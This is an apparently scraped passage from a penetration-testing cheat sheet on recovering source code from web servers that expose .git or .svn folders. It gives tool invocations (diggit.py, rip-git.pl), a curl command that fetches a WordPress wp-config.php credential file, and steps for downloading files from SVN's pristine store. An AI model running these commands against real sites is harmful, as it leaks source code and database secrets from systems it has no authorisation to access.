Git - methodology
2017-03-19 23:51:56 +01:00
5. Alternative way : diggit.py
GIT & SVN insecure source code
2017-02-18 00:30:55 +01:00
```
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```
Update Git-rip

5. Alternative way : rip-git
```
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"

# SVN - Source management
SVN example (Wordpress)
```
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```
1. Download the svn database
http://server/path_to_vulnerable_site/.svn/wc.db
```
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
```
2. Download interesting files
remove $sha1$ prefix
add .svn-base postfix
use first two signs from hash as folder name inside pristine/ directory (94 in this case)
create complete path, which will be: http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base
